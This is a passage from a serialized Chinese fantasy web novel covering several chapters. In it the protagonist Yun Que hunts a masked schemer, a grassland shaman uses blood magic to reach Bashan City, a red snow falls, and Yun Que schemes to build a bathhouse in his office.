今天,我去复仇了,因为这是一份难得的良机,错过了,恐怕我这一生将再无机会。 我修炼的天赋不是很好,即便修炼到老也斗不过一国之主,所以才铤而走险,搏一个机会。 谁说美人只能养在深闺,美人,也会战死沙场。 别忘了,我也是武夫。 最后留给你一个消息,三年前的鬼面人,我今天见到了,我不知道他的身份,但我能确定,他就在学宫。 就此别过。 若有来世,嫁你为妻。 穹音,绝笔。 …… 嘭!!! 云缺猛然捏紧了拳,眸子里的寒意几乎要溢出眼眶。 云缺料到信上的大致内容,但没想到的是,穹音的信里,居然提及了鬼面人。 而且穹音还是在今天见到的! “鬼面人……姜落君已经死了!怎么还有第二个鬼面人!” 云缺的双拳狠狠捏起。 云缺已经从信上的内容推测出,让穹音铤而走险的,就是鬼面人无疑! 换句话说,鬼面人的出现,将穹音送上了一条死路。 “在学宫里,他到底是谁……” 随着云缺的沉沉低语,屋子里渐渐响起了金铁震颤的鸣音。 那是刀啸! 是云缺心里难以压制的沉沉杀意。 天边放亮。 新年第一天已经到来,今天是大朝会。 云缺沉默了许久,做出一个决定。 上朝! 之前云缺打算留在学宫一阵子,毕竟斩杀锻纸侯的罪名,肯定不轻,大晋的俸禄算混不下去了。 留在学宫一边修炼,一边等着红莲教最后的反扑,然后找个恰当时机,汇合七叔与那教主算总账。 云缺已经决定抽身了,但穹音的这封信,让他改变了主意。 留在学宫里,找不出那个真正的鬼面人。 对方就像一个幽灵般,始终徘徊在附近,偏偏看不到真身。 穹音如何能混进禁军里,这是一个重要线索。 如果留在学宫里,无法继续追查。 云缺再次找到穹舞,仔细问了问穹音离开的经过,穹舞没看到任何人找过穹音。 穹舞这边没有线索,那么只能从禁军那边查起。 天亮后,云缺换上官服,直奔金銮殿。 斩杀王侯的罪名,确实很重,抄家灭族都不为过。 但云缺并不怕。 因为他有一张足以自保的底牌。 第186章 当孙子的价格 八山城。 黄昏时分,城门口三匹快马飞驰而过。 三名骑手均为禁军,亮了下腰牌,速度不停,直接冲进城门。 为首的马匹挂着个一尺见方的小笼子,上下是木质,四周是铁栏。 其内装着一颗人头! 人头已经用石灰封存,没有丝毫血迹,看起来活生生一样,模样还不错,正是草原别吉,被皇帝枭首的吉妃。 三名禁军奉旨赶往黑铁城,将人头交给阜南王。 皇帝已经下旨,将别吉的人头挂在黑铁城上,只要黑铁城不倒,人头就永远悬挂。 三名禁军风尘仆仆,在长街上纵马而行。 路人纷纷让路。 都看到是官差,谁敢挡路。 天渐渐黑了下来。 当最后一缕阳光从长街上退走之际,木笼里的别吉人头,两侧嘴角忽然翘了起来,现出一种诡异的微笑。 没人发现这个细微的变化。 三名禁军仍在赶路,他们需要马不停蹄的赶往黑铁城,沿途不可逗留。 嘭!! 忽然一声闷响出现。 为首的禁军急忙勒住马匹,低头一看,木笼里的人头居然自行炸裂,碎成一片血泥! 鲜血洒了一地,马匹和禁军的身上全是血。 人头只是封住了伤口,使其不流血,但爆开的话,会有大片鲜血出现。 三名禁军愣怔了半晌,不知所措。 没人接近,人头自己炸裂,这种怪事闻所未闻! “怎、怎么办?我们还去不去黑铁城?”一名禁军提心吊胆的道。 “人头碎了,还去什么黑铁城!赶紧回去禀告陛下!” 为首的禁军调转马匹,急匆匆返回皇城。 黑夜来临。 长街上很快恢复了热闹,人来人往,对于地面上洒落的血迹,没人在意。 更没人发现一个奇诡的现象。 人头炸裂出的血迹,诡异的围拢成一个圆形,散乱的鲜血,看似毫无章法,可若从高处向下看去就能发现,那些鲜血在地面上画出了一个又一个晦涩的符文。 当明月升起,八山城的长街上凭空浮现出两道身影。 就在血色圆环之内。 街上行人已经不多,由于天色昏暗,周围的行人不曾注意到多出的两个不速之客。 两人一老一少。 老者满脸皱纹拄着拐杖,须眉皆白,没有眼瞳,眼眶里铺满白翳,长发扎成一个个辫子披散在脑后。 瞎老者身旁,是个十六七岁的少年,模样青涩,一头卷曲的短发。 少年茫然四顾,打量着周围陌生的环境,很快低头看向地面的鲜血,悲伤的低语道: “姐姐死了……合萨,传送血阵必须要用鲜血才行么?” 老者仰起头,没有眼瞳的眼睛朝向天空,感慨道: “唯有灵鹿血脉,方可支撑如此遥远的传送距离,从草原到此地,何止千山万水,这是她的使命,亦是她的归宿……兀良,你可知自己的使命。” 名为兀良的少年认真说道: “知道!我来做合萨的眼睛,见证草原逐渐强大,见证大晋逐渐坍塌。” 老者点了点头,道:“很好,你来说说此地的环境。” “一座很大的城,有烽火台,周围是高山,城池依山而建,城墙上有很多守军,灯火通明。”兀良将所见的景象一一道出。 “好了,我知道这里是何处了,此地是八山城。”老者道。 “合萨真厉害!从描述即可确定方位,合萨年轻的时候一定走过很多地方,见识过很多人。”兀良佩服道。 “想不想与我一样,拥有每到一处便了解一个地方的能力。”老者微笑道。 “当然想!可惜我去过的地方太少,这次是第一次离开草原。”兀良道。 “教你个最简单实用的法子,想要知道处身之地是何处,找个路人问问即可。”老者呵呵笑道。 “啊?这么简单呐,我怎么没想到呢。”兀良挠头道。 “智慧,并非与生俱来,需要慢慢累积,当你拥有足够的智慧,即便失去双眼,也可看清这方天地。”老者轻声自语,随后咏念起咒言:“南无阿弥多婆夜,哆他伽多夜……” 兀良安静的等在一旁,他知道合萨咏念的是往生咒。 良久,当老者念完咒言,兀良道: “合萨亲自超度,姐姐的灵魂一定会飞往天国,得到永生。” 老者缓缓摇头,道:“她有她的使命,她的灵魂无需超度。” “既然不超度姐姐,合萨为了何人咏念的往生咒呢?”兀良奇怪的道。 “为此城众生。” 老者抬起头,道:“走吧,先去东街,再去西街,然后南街,最后北街,切记莫要乱了顺序,我既来之,此地便为草原,朱邪部远征的第一步,一定会震撼整个大晋。” 兀良由星辰辨认出方位后,扶着老者缓步走向东街。 当草原来的合萨迈出一步后,身后留下了一个浅浅的脚印。 那脚印虽浅,却如同无法磨灭的印记般,刻在了八山城长街的青砖之上。 月光下,老者已经远去。 但他身后留下的脚印里,刻满了肉眼难以察觉的无数咒文…… …… 司天监。 云缺和牧青瑶坐在桃树下,一边赏月,一边闲谈。 “儒家七品格物境,到底有多厉害。”云缺新奇的道。 “比起武者和道家修士,七品格物境不算厉害,拥有的法力没有道家修士充沛,估计能差着一半。”牧青瑶道。 “差这么多啊?我看你四师姐挺厉害的啊,张嘴说句话就能喷出来个大斧子,砍人贼疼,看起来不比六品筑基修士弱。”云缺道。 “四师姐是六品立命境,当然能与筑基修士不相上下,但七品儒修不行。” 牧青瑶伸出纤纤玉手,搬着手指给云缺讲述道: “儒家修炼体系,最看重的是基础而非战力,最初的九品八品七品,其实主要目的就是夯实基础,九品开窍境主要增强学习能力,一目十行,过目不忘,圣人典故倒背如流。” “八品修身境主要锤炼文胆,让修行之人变得胆气十足,说出的话可令人信服,类似口含天宪。” “七品格物境开始蕴化浩然气,提升自身所有能力,比如法力,肉身,神魂,乃至应变能力,这一点有些类似武者的洗筋伐髓。” “格物的意思,是穷究事物的道理,不断探寻儒家至理,致知在格物,物格而后知至,所以说格物致知,是儒家的一个重要概念,为了蕴化浩然气,很多七品儒修会去游历天下。” “六品立命境,是一个重要的分水岭,修正其身以待天命,凝练浩然正气,百邪不侵,真正拥有了攻防能力,法力大增,所以儒修七品与六品看似相差一个等阶,实则天地之别。” 云缺听得直眨眼睛。 每个字都听懂了,但合在一起,就听不懂了。 什么致知在格物,物格而后知至。 绕口令吗? “你就说,几个你才能打过花不谢吧。”云缺道。 “一百个的话,有机会能和四师姐打成平手,想要赢,再加一百个灵芸郡主也不可能。”牧青瑶道。 “这么弱啊!”云缺很吃惊。 儒修和武夫果然差距极大。 武夫这边,一百个七品,即便赢不了一个六品,也能让六品忙于应对,再上一百个的话,大概率能把一个六品活活耗死。 “是有些弱,所以我要专心修炼,尽快成为六品立命境的高手。” 牧青瑶捏起小拳头,晃了晃道:“我的梦想,是此生能追上儒圣的脚步,成为一品儒修!” 云缺撇嘴道:“都说了是梦想,还这么小家子气,没出息。” “一品还没出息?那你说,你的梦想是什么。”牧青瑶嘟起小嘴儿道。 “我的梦想是看遍天下美……” 第187章 猪脸人 刚入夜的天祈学宫,绝对是最热闹的时候。 才吃过晚饭的学子们,三五成群的聚集在草坪四周,谈笑风生,围着草坪散步的大有人在。 以往这个时间,穹舞经常会去散步,呼吸着夜晚的清新空气,能让她觉得格外舒畅。 但今天,穹舞没有任何散步的心情。 独自坐在南楼下,痴痴的望着天空发呆,眼角还残留着尚未干涸的泪痕。 姐姐死了,她又变成了孤身一人。 穹舞始终无法相信这是事实,她觉得姐姐还在身边,陪着她一起散步,陪着她一起说笑。 今夜满月。 穹舞望着月亮,觉得那是姐姐的脸庞,正在天上对她微笑。 眼泪再次无声而落。 穹舞知道自己必须坚强,为了姐姐而活下去,为了家人而活下去。 擦了下眼泪,穹舞起身准备回楼上修炼,忽然看到一道熟悉的身影从眼前走过。 朴素的衣裙,白狐面具! 穹舞呆住了,怔怔的望着在远去的身影,一时间脑海一片空白。 等她回过神儿来,对方已经走远,但没有离开百花殿,而是在绕着草坪散步。 穹舞发疯一样追了上去。 等到了近前,她反而畏缩起来,不敢上去相认。 她怕对方不是姐姐,怕这份希望落空。 跟着对方的脚步,穹舞的神采很快落寞下来。 她快走了几步,与对方并肩而行。 穹舞低落的道: “我知道你不是姐姐,请允许我在旁边走一会儿,一会儿就好,我实在……太想她了……” 两人沉默着,在草坪上散步,谁也没说话。 一圈,又一圈。 两人的脚步始终没停,直至草坪上的学子越来越少。 走了足有一个时辰,穹舞看到迎面走来个古怪的学子,脸上带着一张猪脸面具,做得十分粗糙,直接用木板临时改造的,可能觉得木板光秃秃不好看,画了个猪脸在上面。 学宫里的学子癖好各异,戴面具并不稀奇。 等双方即将擦肩而过,那猪脸面具的家伙突然伸手,抓向穹舞身旁之人的狐脸面具。 穹舞意外之下发出一声低呼。 本以为狐脸面具要被摘掉,结果此人出手极快,一掌拍开了对方的大手。 没抓到面具,猪脸学子扭头就逃,速度飞快。 同一时刻,西楼昏暗的大门内,云缺的身影如同豹子般飞掠而出。 穹舞只觉得身旁刮起一阵风,穿着普通裙衣的狐脸人也冲了出去,与云缺一起追向戴着猪脸面具的家伙。 三道身影,在百花殿的草坪上急掠而过,很快消失在一侧林间。 穹舞张着檀口,不知究竟发生了什么,怔在原地。 一路追踪,云缺终于将戴着猪脸面具的神秘人堵在林间。 梅钱摘掉狐脸面具,冷眼盯着对方,手里提着刀。 让梅钱扮女人,是云缺定下的计策。 穹音自从进学宫,始终没有以真面目示人,整天戴着狐脸面具,假扮起来很容易。 只要面具一样即可。 如果穹音再次出现,那个藏在幕后的神秘人,也许会现身。 其实云缺对这份计策的期待并不大。 只是试一试而已。 没想到真把对方钓了出来!彡彡訁凊 只是对方应该戴着鬼脸面具,不知为何换成了猪脸面具,而且还十分粗糙。 云缺反手抽出毒牙刀,与梅钱一左一右,逼近对方。 穹音之死,便是此人一力促成,云缺对梅钱说要杀的人,就是这个鬼脸神秘人。 云缺一步一步接近对方,目光冷冽如冰,寒声道: “幕后黑手很好玩是么,借刀杀人很有趣是么,毁掉鸿雁城很过瘾是么,不管你是谁,今晚,是你的死期!” 第188章 斩妖司的新买卖 百万尸军这种概念,任谁听到都会觉得无比震撼。 若能拥有百万尸军,哪怕全是普通尸体,那也是一支令人胆寒的恐怖战力。 “不知炼尸术之后的第二层是什么?”云缺问道。 “到时候,你就知道了,先把炼尸术修成。”墨老道。 人家不肯说,云缺不在多问。 “对了墨老,我弄到一具五品武者的尸体,能不能炼制成炼尸。”云缺道。 “五品尸体倒是少见,拿来看看。”墨老道。 趁着墨老在,云缺把姜熵的尸体搬了过来。 五品武夫的尸体,按照正常情况能保留六品战力,这种战力可不少了,对云缺来说有着很强的助力。 不料墨老查看完尸体后,泼了一盆冷水,道: “这具尸体没用,浑身骨骼全部粉碎,做不成炼尸,扔了吧。” “全碎了?这可是五品金身境啊!”云缺大为吃惊。 姜熵从观星台掉下来,本体没少一块肉,可见五品武夫的躯体有多坚固。 哪怕是尸体,放在外面几年甚至几十年都不会腐烂。 尤其五品金身境的骨骼,是全身最坚固的地方,居然全部碎裂! “难道我还能骗你不成,不信的话,自己切开看看便知。”墨老道。 云缺当然不信,姜熵可是金身境,怎么会全身骨骼碎裂。 于是当场切开尸体。 果不其然,骨头不仅碎裂,而且全都碎成了渣。 “如此可怕的伤势,同阶修士肯定做不到的,只有四品强者才行。”云缺低语道。 当年在斩妖司的时候,云缺的年纪太小,并不知道吕青真正的修为有多高。 如今过去了十多年,吕青的修为显然达到了一种可怕的程度,至少在四品。 “四品?哼,你小觑五品武夫了。”墨老冷哼道。 “难道不是四品所杀?”云缺惊疑道。 “其他派系的五品修士,受到如此重创并不稀奇,但这是五品金身境的武夫,极品法器都很难撼动肉身,更别提全身骨骼碎裂成齑粉。”墨老道。 云缺立刻听懂了。 五品金身境武者,以肉身强悍而闻名,如同铁罐子,刀枪不入。 或许其他派系的四品强者,有很多手段杀掉五品武夫,但很难造成如此恐怖的伤势。 云缺很清楚当时姜熵登上观星台的时间,从而推断出姜熵与吕青在很短时间内分出了胜负。 如此说来,吕青的修为很有可能已经超过了四品! 唯有三品强者,才能在瞬间击杀五品武夫,并将其浑身骨骼全部砸碎! 云缺在心里暗暗惊奇。 吕青到底有多高的修为,三品,还是更高? 既然姜熵的尸体没用,云缺只能处理掉。 拉到皇城外,找了处荒林掩埋。 埋好尸体,云缺叹了口气。 “堂堂龙图阁大学士,落到埋尸荒野的地步,何苦呢,连个碑都没有。” 对于姜熵的赤胆忠心,其实云缺是敬重的,但不苟同。 姜熵忠于大燕,确实一片赤心,但落得个惨死的下场。 很多时候,委曲求全卧薪尝胆,也是一种选择。 如果云缺是姜熵的话,肯定会表面臣服殷子受,然后暗地里下绊子,等待时机复国。 龙图阁大学士为人刚烈,学富五车,赤胆忠心,却是个一根筋,不知变通。 午夜,云缺站在皇城门口,望向八山城的方向。 “得想个法子把双角山弄到手,武夫修炼太费钱了,冲击六品至少一百万两,五品还不得翻个十倍百倍。” 云缺暗自嘀咕着。 双角山是黑风寨的地盘,地下有矿,还是金银两座矿,绝对是一笔横财。 但是挖不得。 开矿很麻烦,一个人做不到,即便挖出点矿石还要运回城里找人提炼。 一旦走漏风声,两座矿就飞了! 在大晋,任何矿产都属于皇族,是皇帝的。 埋在土里,没人知道的时候无所谓,一旦开发出来,必须交给皇帝,那是人家殷氏皇族的东西,与任何人都无关。 云缺现在空有金矿银矿,却没办法换钱,徒呼奈何。 “最好能弄一处封地,别的地方不要,只要双角山。” 云缺暗自嘀咕着。 占据矿产的唯一办法,是封地。 封地,就是分封出去的土地,地底下无论挖出什么资源,都归于封地的主人所有,无需上交皇帝。 但封地这东西,只有封爵之人才有,普通人可没有,哪怕当朝首辅也没有封地。 封爵可不容易。 需要立下极大的功劳,还得是战功。 正想着如何才能弄到两座矿,云缺忽然看到八山城的上空升腾起一道道光束,几乎照亮了夜空,组成一个巨大的圆环。 “什么东西?” 云缺仔细看去,光环很快消失,一闪而逝。 “放烟花呢?” 云缺摇了摇头,转身回了学宫。 第二天清晨。 云缺准备去司天监转转。 司天监距离学宫比刑部近得多,路程上轻松不少。 经过饭堂的时候,照例看到屠苏和满申像两条大狗似的蹲在门口咽口水。 看到云缺经过,屠苏龇牙咧嘴凶相毕露,一个劲怪叫。 “嗷呜!嗷呜嗷呜!” 满申有个特点,只要大汗做什么,他肯定跟着一起做,于是也叫了起来,只不过叫的声音与屠苏不同,发出汪汪汪的声音。 云缺没理睬两个饭桶,径自走出百花殿。 司天监也有后厨,早饭又不花钱,何必在学宫花钱吃。 有便宜不占王八蛋,这是云缺的人生格言。 “嗷呜!嗷呜!” “汪汪!汪汪!” 屠苏叫了几声后给满申来个脑盖,骂道:“你叫什么呢!” “我跟大汗一起叫啊。”满申莫名其妙的道。 “我这是狼叫!你那是狗叫,能一样吗!”屠苏怒道。 “啊?大汗在学狼叫啊!我听着像狗叫呢?”满申恍然大悟道。 随后两人朝着云缺的背影一起呜嗷呜嗷的乱叫了起来,引来周围学子的一片嘲笑。 司天监很安静。 所有官差都各忙各的,很少听到喧哗声,这一点比乱哄哄的刑部要强得多。 斩妖司更安静。 云缺一个人坐在空荡荡的大厅里,百无聊赖。 想要喝个茶,自己泡。 想要聊个天,自己唠。 想要看个书,自己找。 想要听个声,自己叫。 “天牢都比这里热闹。” 云缺实在无聊,吃了粒养元丹开始修炼。 还别说,斩妖司的确有个好处,适合闭关修炼。 只要不出门,这里就跟座坟似的,一个人影都没有。 炼化了药力后,云缺突发奇想。 他决定改造斩妖司! 把办案大厅改为澡堂子,镶嵌点灵石,天天泡澡。 不光自己泡,别的同僚也可以泡,不过要交钱,泡一次十两银子,只要生意好,稳赚不赔。 云缺是个雷厉风行的人,说干就干。33qxs.m 但一个人不行,需要雇佣工匠挖池子,还得寻找温泉水,很是麻烦。 没有手下,云缺决定去抓俩回来。 中午吃过饭之后,上街转了圈儿,找到常威和瞎子,把两人带到司天监。 上次分别,两人告知了所住的客栈,所以很容易找到。 进了司天监,常威和瞎子东瞅西看,觉得十分好奇。 “这就是大名鼎鼎的司天监啊,久闻不如一见,地方可真宽敞!”常威赞叹道。 “一看就是风水宝地!二当家这升迁的速度太吓人了,前两天还在刑部,过几天就成了司天监的少监大人,简直是平步青云!”瞎子拍马道。 “不用羡慕,你们俩今后也是司天监的人了,隶属斩妖司,是我手下的属官,拿着,这是你们的腰牌,记得按月来领俸禄。”云缺将两个腰牌递给两人。 “真的?我们这就成官人儿了!”常威不可置信的道。 “我、我也当官了?这不是做梦吧!”瞎子震惊不已。 “当然是真的,大家兄弟一场,我在司天监吃肉喝酒,哪能忘了你们呢。”云缺道。 “二当家就是讲义气!今后二当家尽管吩咐,什么脏活累活都交给我了!”常威拍着心口保证道。 “对对对!二当家今后千万别拿我当人,当驴子就成,随便打骂!嘿嘿!”瞎子讪笑道。 两人拍了通马屁后,对斩妖司的冷清大为好奇。 “二当家,咱们斩妖司总共多少个兄弟啊。”常威还是一副山匪口气,将同僚称为兄弟。 “不多,暂时就我们三个。”云缺道。 “啊?”两人一起吃惊道。 “啊什么啊,找你们来是干活的,本官第一个任务,听好了。”云缺神色一正。 常威和瞎子连忙站好,等待命令。 云缺指着空荡荡的大厅道: “去找手艺好的匠人,把这里给我改造成澡堂子,越气派越好,造两个大池子,记得池子边缘留一排空隙,用来镶嵌灵石,然后再去找温泉水,谈好价格,每天一趟给我往这运。” “再去城里有名的澡堂挖几个搓澡的过来,要手脚麻利的,会说话儿的,呆头呆脑的不要。” “等澡堂子建好了,前三天免费,第四天开始收费,一次十两银子,提前支付一月泡澡费的话可以打八折。” 云缺说完,常威和瞎子都听傻了。 这里是司天监! 大晋最神秘,最威严的地方之一! 在司天监里建澡堂子,简直闻所未闻! “二当家这是要做买卖了?”常威疑惑道。 “买卖好,当官哪有赚钱实在!”瞎子拍马道:“这么大的地方,等生意兴隆了,还得扩建才行。” “那是肯定的。” 云缺掐着腰,站在空荡荡的院子里傲然道:“等以后把后面的库房也扩展成澡堂子,修建个小楼,把皇城里最有名的青楼花魁统统挖过来,我要打造一个集泡澡与听曲儿于一体的斩妖司!” 常威和瞎子震惊之余,都有点开始期待了,两人站在院子里嘿嘿傻笑。 阴沉的天空,有雪花开始飘落。 “瑞雪兆丰年,今年咱们斩妖司肯定赚大钱!” 云缺伸手接住几片雪花,呵呵笑道。 赚钱吗,又不丢人,反正咱也不要脸,别人爱怎么看怎么看,这叫走自己的路,顺手把别人的路都堵死。 云缺伸出的手掌,有越来越多的雪花落下。 其中一片猩红的雪花格外刺眼。 “红雪?” 云缺诧异着一抬头。 天空之上,是一片诡异的景色,纷纷白雪中夹杂着数不清的红色雪花。 第189章 骷髅成精 天祈城内,下起了一场诡异的大雪。 红白混杂,天降奇景。 那些红色的雪花落地后会融化,没过多久,城里的各处屋顶与长街,满目腥红。 首辅的府邸之内,周史伯走出屋子,抬头望天,双眉紧锁。 刑部,陈洲骅与一众刑部令史正在无精打采的打瞌睡,很快被满地红雪吸引,议论纷纷。 皇宫御书房内,殷子受戴着一顶特制的帽子,沉着脸望向大门外的雪景。 缥缈阁,国师凌妙清在盘坐中缓缓睁眼,黛眉微蹙,低语道: “大晋国运愈发淡薄,消散得太快了……” 司天监。 云缺的鼻翼动了动,眉峰一挑。 手里的几片红雪,带着一种熟悉的味道。 血腥之气! 对于猎妖人来说,血腥气与妖气是最熟悉的气息。 云缺在片刻间即可判断出,这些红色的雪花并非自然生成,而是沾染了强烈的血气才形成。 “不是妖血……” 云缺低语中,独自登上了观星台。 台顶空荡荡,没人。 站在这处皇城最高的地方,云缺的眼前出现了一幕令人震撼的奇观。 在皇城以西的方向,红雪越来越浓郁,好似一场血色的风暴在远处漂浮。 “那是什么?” 云缺从未见过如此奇怪的景象,从风向可以判断,落在皇城里的红雪,就是从远处那片奇怪的区域飘来。 大致分辨了一下方位,云缺发现那片红雪笼罩的区域,应该是八山城附近。 身后传来脚步声。 花不谢急匆匆登上观星台。 “都说司天监的高手上知天文下晓地理,请教花大人,这场红雪是什么预兆,瑞雪兆丰年,红雪莫非兆灾年?”云缺道。 “我没见过这等天象,怎么会有红色的雪,这不正常。”花不谢无法保持面无表情的状态,此刻惊疑不定。 “本来就不正常,血气沾染了白雪,明显的血光之灾,我看八成是出事了,禀报监正吧。”云缺道。 “师尊在闭关,不可打扰,我马上派人去城外查看情况,你去禀明陛下。”花不谢急匆匆道。 “最近腰酸背痛,好不容易爬上来,下去估计得半天时间,修这么高的塔做什么呢,爬得好累呀。”云缺懒洋洋的道。 他才不去皇宫呢。 又不是什么好事,去了能得到奖赏,这种天灾般的景象,告诉皇帝没准惹来一顿骂。 花不谢瞪了云缺一眼,知道指使不动人家,转身就走。 “对了花大人,你对泡澡有没有兴趣。”云缺道。 “每天都会泡,怎么,有问题么。”花不谢冷着脸道。 “那你喜欢自己泡,还是和别人一起泡呢。”云缺很认真的问道。 花不谢的眼角跳了跳,冷声道:“自己泡。” “是不是女人都不喜欢和别人一起泡澡?”云缺问道。 “废话!”花不谢不再理会云缺,匆匆而去。 “这样啊,看来修个女澡堂的话,得把浴池修小点,一个人一间的那种才行。” 云缺嘀嘀咕咕走下观星台。 随着大雪越来越大,皇城里几队人马纷纷赶往八山城的方向。 司天监的人,刑部的人,禁军的人,包括几名皇帝的暗卫,全部涌向一处。 到了晚上,大雪仍旧没有停息的迹象。 皇城内愈发寒冷。 寒冷的不止雪天,还有一个令人心寒的消息传回皇城。 八山城四门紧闭,城头燃起大火,代表着殷氏皇权的大旗被全部烧毁。 第190章 姓云名缺字大王 云缺的煞气,是斩妖而来。 青禾作为阜南王近卫,常年驻守黑铁城,草原上虽然有妖,但更多的,是蛮人。 由此推断,青禾身上的煞气由来,绝大多数都是斩杀蛮人汇聚而成。 云缺咧嘴一笑,道: “我叫云缺,幸会幸会。” 青禾仍旧面无表情,一张面瘫脸。 云缺觉得奇怪,看了眼牧青瑶。 小郡主掩口轻笑,道: “不用打招呼,青禾姐先天残缺,既失聪又不会说话。” 云缺随之恍然,原来是聋哑人士。 随后牧青瑶与首辅起程,坐着王府马车赶往黑铁城。 云缺没跟着。 因为临行前,牧青瑶偷偷跟他比量个五的手势。 小郡主的意思,云缺很清楚。 牧青瑶是在告诉自己无需担心,她的近卫青禾,是五品高手! 云缺暗暗咂舌。 阜南王看来真生气了,派了个五品近卫给女儿当护卫,这是下了血本啊! 苏鸿山不过才五品而已,即便八山城有什么意外,有五品高手跟着,苏鸿山也留不下牧青瑶。 云缺转回了司天监。 常威和瞎子的手脚相当麻利,斩妖司所在的院子已经大刀阔斧的开始改造了,匠人们进进出出,门口堆满了各种石料木料。 斩妖司这边的动静,引得不少同僚来围观,都在猜测云缺要干什么。 起初众人以为新来的这位少监嫌弃院子寒酸,准备装潢一番,当看到开始挖大坑,人们全懵了。 司徒盼晴最是好奇,捧着瓜子站在院子里看热闹,她眼睛还没好利索,始终眯着眼睛。 见云缺回来,立刻追问道: “喂!你准备修建什么啊,还要挖坑?” “秘密!到时候你就知道了。”云缺想了想,道:“你对泡澡怎么看,有温泉还有灵气的那种。” “我最喜欢泡温泉了!如果有灵气那更好不过!”司徒盼晴十分期待的道。 “我知道个好地方,温泉加灵气,泡一次十两银子,有没有兴趣。”云缺循循善诱的道。 “十两太贵了!我一个月俸禄还不够吃零嘴的呢。”司徒盼晴道。 “你可以包月呀,一个月只要二百四十两,天天都有温泉泡!”云缺道。 “我的钱根本存不住,不到月底就吃光了。”司徒盼晴噘嘴道。 “教你个法子,你刚发俸禄就给澡堂老板二百四十两,这样就不会乱花钱了,还能天天泡澡,简直两全其美。”云缺道。 “确实是个好办法!澡堂在哪条街呢?”司徒盼晴道。 “正在建,很快就会开张营业了。”云缺笑容满面的道。 第一个顾客,拉到了。 斩妖司这边有常威和瞎子在忙,云缺不用多管,于是去捕风司转了转。 冷春鱼是捕风司少监,负责情报事宜,云缺来打听红莲教的动向。 到了之后,花不谢也在。 冷春鱼给两人各自倒了热茶,道: “捕风司这边的确有点特别的消息,不是红莲教,而是一个奇特的组织,自称血袍军,他们穿着血红色的袍子,以数十人的小队方式行动,近期攻击了一处位于大晋西北方向的偏远城镇,守军阵亡百余人。” “血袍军?什么来头。”云缺喝着热茶问道。 “暂时不清楚,昨天捕风司刚刚收到的消息,不过血袍军的突袭很迅猛,目标也很明确,是城镇守军的兵器库,盗走了不少武器,从传回的消息来看,这些血袍军身手极好,进退有据,显然经过严格训练,甚至比大晋各地城池的守军还要强一些。” 冷春鱼将捕风司得到的消息一一道出。 司天监各司之间,可以消息共享,云缺身为少监有权得知,花不谢更不用说,监正弟子的地位在少监之上。 “血袍军,红莲教,二者也许有着非同寻常的关联。”花不谢沉声道。 “不是有关联,要我看,血袍军就是红莲教真正的精锐部队,全是经过训练的教徒转化而来。”云缺笃定道。 “何以见得?”冷春鱼请教道。 “红莲教从皇城里偷运军械,说明他们人手足够,但武器不足,血袍军突袭城镇只盯着武器库,他们要不是红莲教的人,我王字都倒过来写。”云缺道。 冷春鱼沉吟着点了点头,道: “云大人分析得有道理,血袍军与红莲教很有可能是一伙人马……唉不对啊,云大人又不姓王。” 花不谢在旁边嘲讽道:“怎么,半天不见,姓都改了,要不要考虑考虑姓花啊。” “字!懂不懂,有学问的人都有字的,我又没说姓,我说的是我的字,倒过来写。”云缺道。 “你还有字?叫什么。”花不谢好奇道。 “王啊,刚才不说了么,王字,倒过来写。”云缺道。 花不谢和冷春鱼同时呆滞了一下。 花不谢眼皮直跳,道:“合着你的字,就一个王字呗。” “俩字,姓云名缺,字大王,你有意见吗。”云缺好整以暇的喝着茶道。 花不谢没说话,举起茶杯喝茶。 云缺能听到对方的牙齿和茶杯发出撞击的轻响,看得出又被气得不轻。 冷春鱼尴尬的笑了笑,恭维道:“好字,好字。” “血袍军的动向,有没有消息。”云缺问道。 “暂时没有,传回消息的人手继续追查,但始终没有回信。”冷春鱼目光沉了下来。 司天监有着自己的传讯手段,一天多没有回信,那追查血袍军的人手,怕是凶多吉少。 “一边传教,一边集结兵力,红莲教的最终目的到底是什么。”花不谢沉声道。 “明摆着么,人家想要改朝换代,否则用得着这么折腾。”云缺道。 “区区邪教而已,他们的底气呢,真以为能撼动大晋?”花不谢道。 “撼不撼得动,试试才知道,没准大晋只是外强中干,一推就倒呢。”云缺道。 “蚍蜉撼树,自取灭亡。”花不谢说罢闷头喝茶,不在发表意见。 不是她不想多说,实在云缺的话题太危险。 讨论国事可以,但大晋外强中干这种话,司天监的人也不敢轻易说出口,也就云缺这个混世魔王什么话都敢乱说一气。 “对了春哥,以后有血袍军的消息,麻烦告诉我一声,追查血袍军的动向,也许能挖到红莲教的老巢。”云缺道。 “好。”冷春鱼答应后,犹豫了一下,道:“云大人能否换个称呼,叫我全名也行。” “你名字太长,叫着费劲,那以后喊你老鱼。”云缺道。 冷春鱼沉默了好一会儿,道:“还是叫我春哥好了。” 看看天色已晚,云缺打算回学宫。 刚要走,冷春鱼盯着旁边的茶杯道:“云大人,不喝了吧。” “不喝了,茶不错。”云缺起身离开。 走出大门回头看了眼。 果然,冷春鱼正如释重负的盖好茶杯盖,然后用一种期待的眼神看向花不谢。 花不谢很自觉,自己就把杯盖给盖好。 天色已晚。 回到学宫,一进大门,云缺看到广场上庞大的儒圣雕像前站着一道身影。 正是大祭酒,秦蒙。 秦蒙仰着头,望向儒圣雕像,目光中仿佛有迷茫之色。 云缺看得奇怪,走过去道: 第191章 诡局 殷子受觉得头顶一阵奇痒,恨不得抓破头皮,又不好在金銮殿当着群臣的面挠头。 加上首辅与灵芸郡主一去不归,殷子受变得暴躁不安。 周史伯与牧青瑶,对殷子受来说都是重要的人物,一个帮他掌管天下,一个帮他建立名望,缺一不可。 如果两人在八山城出事,殷子受如同自断臂膀,损失惨重。 老太监无舌凑到皇帝耳边低声道:“陛下,不能再等了。” 皇帝随之做出了决定,寒声道: “金吾卫指挥使何在!” 白厌上前一步,躬身道:“臣在。” “朕命你率领金吾卫十万大军,强攻八山城!司天监协助策应,朕要苏鸿山的人头!”殷子受下了圣旨。 群臣鸦雀无声。 既然皇帝决定出兵,谁劝也没用了。 首辅与灵芸郡主的份量太重,若两人出了事,大晋将伤筋动骨。 殷子受心里暴躁不安,但看得还算清楚,知道八山城一事疑点重重,为了保险起见,动用了司天监。 朝会结束,白厌立即点兵,准备出征。 大军出征,意味着战火燃起,无论苏鸿山有什么目的,八山城都将被踏为平地。 司天监这边也在商议着出征的人选。 一众少监汇聚一堂。 “此次八山城之行非同小可,苏鸿山本身为五品武者,战斗经验丰富,守军大致有十万人上下,一旦开战,后果难料,我们司天监以侦破诡案为主,自建立以来,尚未面对过两军交锋的局面。” 花不谢环顾众人,声音凝重的道:“师尊闭关,我暂代调遣,哪位少监有信心接手此事。” 